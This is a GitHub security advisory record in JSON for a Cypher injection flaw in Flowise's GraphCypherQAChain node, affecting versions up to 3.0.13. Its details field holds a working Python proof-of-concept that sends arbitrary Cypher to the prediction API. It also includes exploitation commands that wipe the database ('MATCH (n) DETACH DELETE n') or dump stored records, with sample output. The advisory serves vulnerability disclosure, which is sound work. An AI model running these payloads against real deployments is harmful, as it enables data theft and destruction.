-
Notifications
You must be signed in to change notification settings - Fork 583
Expand file tree
/
Copy pathGHSA-28g4-38q8-3cwc.json
More file actions
80 lines (80 loc) · 7.03 KB
/
GHSA-28g4-38q8-3cwc.json
File metadata and controls
80 lines (80 loc) · 7.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
{
"schema_version": "1.4.0",
"id": "GHSA-28g4-38q8-3cwc",
"modified": "2026-04-16T21:54:28Z",
"published": "2026-04-16T21:54:26Z",
"aliases": [],
"summary": "Flowise: Cypher Injection in GraphCypherQAChain",
"details": "## Summary\n\nThe GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` |\n| Affected Lines | 193-219 (run method) |\n\n## Prerequisites\n\nTo exploit this vulnerability, the following conditions must be met:\n\n1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server\n2. **Vulnerable Chatflow Configuration**:\n - A chatflow containing the **Graph Cypher QA Chain** node\n - Connected to a **Chat Model** (e.g., ChatOpenAI)\n - Connected to a **Neo4j Graph** node with valid credentials\n3. **API Access**: Access to the chatflow's prediction endpoint (`/api/v1/prediction/{flowId}`)\n\n<img width=\"1627\" height=\"1202\" alt=\"vulnerability-diagram-prerequisites\" src=\"https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0\" />\n\n## Root Cause\n\nIn `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization:\n\n```typescript\nasync run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {\n const chain = nodeData.instance as GraphCypherQAChain\n // ...\n \n const obj = {\n query: input // User input passed directly\n }\n \n // ...\n response = await chain.invoke(obj, { callbacks }) // Executed without escaping\n}\n```\n\n## Impact\n\nAn attacker with access to a vulnerable chatflow can:\n\n1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields\n2. **Data Modification**: Create, update, or delete nodes and relationships\n3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database\n4. **Schema Discovery**: Enumerate database structure, labels, and properties\n\n## Proof of Concept\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Cypher injection in GraphCypherQAChain (CWE-943)\n\nUsage:\n python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>\n\"\"\"\n\nimport argparse\nimport json\nimport urllib.request\nimport urllib.error\n\ndef post_json(url, data, headers):\n req = urllib.request.Request(\n url,\n data=json.dumps(data).encode(\"utf-8\"),\n headers={**headers, \"Content-Type\": \"application/json\"},\n method=\"POST\",\n )\n with urllib.request.urlopen(req, timeout=15) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:3000\")\n ap.add_argument(\"--flow-id\", required=True, help=\"Chatflow ID with GraphCypherQAChain\")\n ap.add_argument(\"--token\", help=\"Bearer token / API key if required\")\n ap.add_argument(\n \"--injection\",\n default=\"MATCH (n) RETURN n\",\n help=\"Cypher payload to inject\",\n )\n args = ap.parse_args()\n\n payload = {\n \"question\": args.injection,\n \"overrideConfig\": {},\n }\n\n headers = {}\n if args.token:\n headers[\"Authorization\"] = f\"Bearer {args.token}\"\n\n url = args.target.rstrip(\"/\") + f\"/api/v1/prediction/{args.flow_id}\"\n\n try:\n status, body = post_json(url, payload, headers)\n print(body if body else f\"(empty response, HTTP {status})\")\n except urllib.error.HTTPError as e:\n print(e.read().decode(\"utf-8\", errors=\"replace\"))\n except Exception as e:\n print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Test Environment Setup\n\n**1. Start Neo4j with Docker:**\n```bash\ndocker run -d \\\n --name neo4j-test \\\n -p 7474:7474 \\\n -p 7687:7687 \\\n -e NEO4J_AUTH=neo4j/testpassword123 \\\n neo4j:latest\n```\n\n**2. Create test data (in Neo4j Browser at http://localhost:7474):**\n```cypher\nCREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})\nCREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})\nCREATE (a)-[:KNOWS]->(b)\n```\n\n**3. Configure Flowise chatflow** (see screenshot)\n\n### Exploitation Steps\n\n```bash\n# Data destruction (DANGEROUS)\npython poc.py --target http://127.0.0.1:3000 \\\n --flow-id <FLOW_ID> --token <API_KEY> \\\n --injection \"MATCH (n) DETACH DELETE n\"\n```\n\n### Evidence\n\n**Cypher injection reaching Neo4j directly:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...\n{\"text\":\"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\\n\\\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\\\"\\n ^\",...}\n```\nThe error message comes from Neo4j, proving the injected Cypher is executed directly.\n\n**Data destruction confirmed:**\n```\n$ python poc.py ... --injection \"MATCH (n) DETACH DELETE n\"\n{\"json\":[],...}\n```\nEmpty result indicates all nodes were deleted.\n\n**Sensitive data exfiltration:**\n```\n$ python poc.py ... --injection \"MATCH (n) RETURN n\"\n{\"json\":[{\"n\":{\"name\":\"Alice\",\"secret\":\"SSN-123-45-6789\"}},{\"n\":{\"name\":\"Bob\",\"secret\":\"SSN-987-65-4321\"}}],...}\n```",
"severity": [
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
}
],
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 3.0.13"
}
},
{
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 3.0.13"
}
}
],
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-28g4-38q8-3cwc"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:54:26Z",
"nvd_published_at": null
}
}